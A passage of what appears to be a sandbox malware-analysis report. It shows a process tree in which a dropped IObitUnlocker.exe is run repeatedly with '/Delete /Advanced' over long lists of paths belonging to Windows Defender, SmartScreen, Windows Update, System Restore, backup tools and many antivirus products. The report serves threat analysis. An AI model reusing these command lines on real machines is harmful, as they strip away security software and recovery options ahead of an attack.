(x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                          7⤵
                                          • Executes dropped EXE
                                          • Loads dropped DLL
                                          • System Location Discovery: System Language Discovery
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of SetWindowsHookEx
                                          PID:1892
                                        • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                          C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                          7⤵
                                          • Executes dropped EXE
                                          • Loads dropped DLL
                                          • System Location Discovery: System Language Discovery
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of SetWindowsHookEx
                                          PID:4228
                                        • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                          C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\